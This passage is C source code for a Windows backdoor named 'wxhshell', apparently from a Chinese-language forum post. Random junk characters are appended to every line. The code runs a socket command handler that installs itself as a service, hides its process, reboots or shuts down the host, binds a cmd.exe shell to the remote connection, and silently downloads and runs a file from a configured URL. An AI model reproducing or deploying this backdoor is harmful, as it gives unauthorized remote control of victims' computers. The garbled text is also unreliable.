_20#2i&  
    switch(cmd[0]) { sdCvG R e  
  y$<Vha  
  // 帮助 Y wkyq>Rv  
  case '?': { _bD/D!|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -)vEWn$3<  
    break; t*@z8<H  
  } c]B$i*t  
  // 安装 X,8<oX1r  
  case 'i': { w-@6|o,S  
    if(Install()) OiDhJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b3YO!cJ  
    else "n:{ !1VGw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lcV<MDS  
    break; LI)!4(WH  
    } 4.RG4Jq  
  // 卸载 bxK(9.  
  case 'r': { XYoIFv?'  
    if(Uninstall()) %<8nF5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !EQ@#qW/  
    else @Mvd'.r<;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ob_I]~^I?|  
    break; (Toq^+`c  
    } 1y^K/.5-  
  // 显示 wxhshell 所在路径 Il.Ed-&62  
  case 'p': { d+z[\i  
    char svExeFile[MAX_PATH]; /L) 9tt.  
    strcpy(svExeFile,"\n\r"); 5{ >0eFzG  
      strcat(svExeFile,ExeFile); zCXqBuvu1  
        send(wsh,svExeFile,strlen(svExeFile),0); ;:#U 6?=t  
    break; {V2bU}5 [  
    } I"!'AI-  
  // 重启 5ouQQ)vA  
  case 'b': { q&M:17+:Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R lg#z4m  
    if(Boot(REBOOT)) QJ4AL3 ^6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Q?f96T  
    else { oXc/#{NC  
    closesocket(wsh); 7u%a/<  
    ExitThread(0); *m_93J  
    } CV^0.  
    break; <Ry $7t,  
    } u7k|7e=xk  
  // 关机 Jirct,k  
  case 'd': { 4]6Qr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GAU!_M5N  
    if(Boot(SHUTDOWN)) yKDZ+3xK]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sMi{"`37  
    else { $v&C@l \  
    closesocket(wsh); .w'vD/q;  
    ExitThread(0); R`He^  
    } _@prmSc  
    break; /_OOPt=G  
    } Zd<[=%d  
  // 获取shell R#0{Wg0O)  
  case 's': { ,+-?Zv 2  
    CmdShell(wsh); Z\!rH "8  
    closesocket(wsh); *( *z|2  
    ExitThread(0); 7Dl%UG]  
    break; <ZrFOb  
  } hPPB45^  
  // 退出 kME^tpji  
  case 'x': {  rA#s   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G.ud1,S#  
    CloseIt(wsh); : ej_D}  
    break; AP@<r  
    } 3i(Jon/p  
  // 离开 uu3M{*}  
  case 'q': { i`~~+6`J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); + zDc  
    closesocket(wsh); 6$z'wy/*  
    WSACleanup(); 4g!7 4a  
    exit(1); " Z;uu)NE  
    break; LVmY=d>  
        } N*1  
  } *tG11gR,&  
  } {&`VGXG  
n!?r }n8  
  // 提示信息 6PJ'lA;*b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ('HxHOh2  
} t&pGQ  
  } hZ o5p&b  
PSEWL6=]N  
  return; ^f0(aYWx  
} ~>w:;M=sV8  
"3ug}k  
// shell模块句柄 _Y7:!-n}   
int CmdShell(SOCKET sock) S~|tfJpL  
{ tj#b_ u z  
STARTUPINFO si; [)iN)$Mv  
ZeroMemory(&si,sizeof(si)); #W^_]Q=5R'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ecT]p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _Ff".t<"  
PROCESS_INFORMATION ProcessInfo; h/9Sg*k  
char cmdline[]="cmd"; hOn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DCK_F8  
  return 0; /'"R Mq  
} D{3fhPNU<b  
5E.vje{U;  
// 自身启动模式 _0*=u$~R  
int StartFromService(void) ZZwBOGVU  
{ T"B8;|  
typedef struct sOC| B  
{ p Mh++H]"  
  DWORD ExitStatus; )=Y-f?o!  
  DWORD PebBaseAddress; _[0I^o  
  DWORD AffinityMask; c*jr5 Y  
  DWORD BasePriority; acy"ct*I  
  ULONG UniqueProcessId; 4zwif&  
  ULONG InheritedFromUniqueProcessId; 5Ny0b|+p  
}   PROCESS_BASIC_INFORMATION; 6<+8}`@B>G  
X; 5S  
PROCNTQSIP NtQueryInformationProcess; vS2(Q0+TZi  
rSbQ}O4V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >["Kd.ye  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "|\94  
3} l;  
  HANDLE             hProcess; z(r" JNO@  
  PROCESS_BASIC_INFORMATION pbi; ]svw CPu C  
zM)M_L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I>!|3ElT  
  if(NULL == hInst ) return 0; TiTYs  
5 5a@)>h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -/1d&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l2r>|CGQ[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vevx|<9,  
?SB5b,  
  if (!NtQueryInformationProcess) return 0; np= J:v4  
%"{?[!C ?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); br10ptEx  
  if(!hProcess) return 0; $/os{tzjd  
&9k"9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i /C'0  
})q]g Mj  
  CloseHandle(hProcess); )~G8 LZ  
NCp%sGBmG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x9 TuweG  
if(hProcess==NULL) return 0; cFe V?a  
;,R[]B01u  
HMODULE hMod; E=3#TBd  
char procName[255]; \?[O,A  
unsigned long cbNeeded; Jr|K>  
YALyZ.d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w:n(pLc<  
Un~]Q?w  
  CloseHandle(hProcess); z)r8?9u  
\gjl^# ;  
if(strstr(procName,"services")) return 1; // 以服务启动 Y{`3`Pg&N  
qNhH%tYQ  
  return 0; // 注册表启动 P: jDB{  
} `AB~YX%(  
'! #On/  
// 主模块 L,tZh0  
int StartWxhshell(LPSTR lpCmdLine) ]U#JsMS  
{ 6_x}.bkIx=  
  SOCKET wsl; 3{I=.mUUm  
BOOL val=TRUE; wrhBH;3  
  int port=0; &`-_)~5]  
  struct sockaddr_in door; #vnefIcBf  
<d3PDO@w/  
  if(wscfg.ws_autoins) Install(); Q=dw 6  
oA5<[&~<  
port=atoi(lpCmdLine); OA\vT${5  
%-T}s`Z  
if(port<=0) port=wscfg.ws_port; lK_ ~d_f  
&9S8al 8"  
  WSADATA data; *1%e%G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @#'yPV1  
z&\Il#'\m+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B!$V\Gs  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cu) @P0I  
  door.sin_family = AF_INET; [%HYh7ua<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .dy#n`eP  
  door.sin_port = htons(port); (K!M*d+  
v#{G8'+%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )*"T  
closesocket(wsl); MHC.k=  
return 1; B:B0p+$I  
} nD^{Q[E6=  
sDW"j\  
  if(listen(wsl,2) == INVALID_SOCKET) { $1:}(nO,  
closesocket(wsl); 9[6G8;<D&  
return 1; r_{)?B  
} f$~ _FX  
  Wxhshell(wsl); {ILp[ &sL  
  WSACleanup(); \HBVNBY  
!3O,DhH>MC  
return 0; /F\>Z]  
){?mKB5  
} *C[4 (DmB  
ez{P-qB  
// 以NT服务方式启动 l"2^S6vU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }ii]c Y  
{ 4<eJ  
DWORD   status = 0; zYgK$u^H  
  DWORD   specificError = 0xfffffff; Fm[?@Z&wP  
?G%, k LJJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E%J7jA4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {ZBb. $}RC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yW6[Fpw  
  serviceStatus.dwWin32ExitCode     = 0; -c<1H)W  
  serviceStatus.dwServiceSpecificExitCode = 0; rTH[?mkf4  
  serviceStatus.dwCheckPoint       = 0; ?XTg%U  
  serviceStatus.dwWaitHint       = 0; |]2eGrGj4  
3Oig/KZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Yf2+@E  
  if (hServiceStatusHandle==0) return; 7K5o" "  
=-1^K  
status = GetLastError(); 5sV/N] !  
  if (status!=NO_ERROR) ][>M<J  
{ 'mY,>#sT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {]/Jk07  
    serviceStatus.dwCheckPoint       = 0; Q,M/R6i-  
    serviceStatus.dwWaitHint       = 0; 2dV\=vd  
    serviceStatus.dwWin32ExitCode     = status; #9W5  
    serviceStatus.dwServiceSpecificExitCode = specificError; PUFW^"LV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .o,51dn+ s  
    return; ekk&TTp#  
  } MkV*+LXC  
GWkJ/EX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (j"~]T!)1  
  serviceStatus.dwCheckPoint       = 0; nD?M;XN  
  serviceStatus.dwWaitHint       = 0; %Cbc@=k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uK&wS#uY  
} h+'eFAZ  
$xn%i\  
// 处理NT服务事件,比如:启动、停止 (=&bo p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J/P@m_Yx  
{ +EB,7<5<  
switch(fdwControl) 1-Wnc'(OK  
{ DGuUI}|)  
case SERVICE_CONTROL_STOP: ?PxYS%D_L  
  serviceStatus.dwWin32ExitCode = 0; O'sr[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d=5}^v#4  
  serviceStatus.dwCheckPoint   = 0; WUOPYYW<o  
  serviceStatus.dwWaitHint     = 0; $P}]|/Yb  
  { F*jj cUk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p~zTRnm  
  } a518N*]j  
  return; uL2 {v  
case SERVICE_CONTROL_PAUSE: Vwh&^{Eh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qu~"C,   
  break; LXEu^F~{u#  
case SERVICE_CONTROL_CONTINUE: 0 c'2rx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s? \9i6  
  break; fOjt` ~ToI  
case SERVICE_CONTROL_INTERROGATE: d\<aJOi+-  
  break; #/sE{jm  
}; 17[t_T&Ak9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M0IqQM57N  
} X|n[9h:%  
VFaK>gQ  
// 标准应用程序主函数 [@?.}!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R O3e  
{ )+{omQ7v  
TboHP/  
// 获取操作系统版本 L!Zxc~  
OsIsNt=GetOsVer(); NVh>Q>B$_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2,QApW_Y  
kE(-vE9  
  // 从命令行安装 QO`SnN}  
  if(strpbrk(lpCmdLine,"iI")) Install(); K}*p(1$u  
k-PRV8WO  
  // 下载执行文件 PNxO \Rc  
if(wscfg.ws_downexe) { %<*pM@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A5H8+gATK  
  WinExec(wscfg.ws_filenam,SW_HIDE); Wes "t}[25  
} ZYt"=\_  
DBrzw+;e3  
if(!OsIsNt) { &l}xBQAL  
// 如果时win9x,隐藏进程并且设置为注册表启动 T7Qd I[K%b  
HideProc(); X%\6V;zR#  
StartWxhshell(lpCmdLine); B46H@]d#7K  
} uXW. (x7"f  
else i$<v*$.o  
  if(StartFromService()) U,3K6AZA 7  
  // 以服务方式启动 *z:lq2"G  
  StartServiceCtrlDispatcher(DispatchTable); UU~;B  
else K~~*M?.Z  
  // 普通方式启动 cw-JGqLx  
  StartWxhshell(lpCmdLine); `0vy+T5  
K dQ|$t  
return 0; FbNQ  
}
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只看该作者 1 发表于: 2006-10-10
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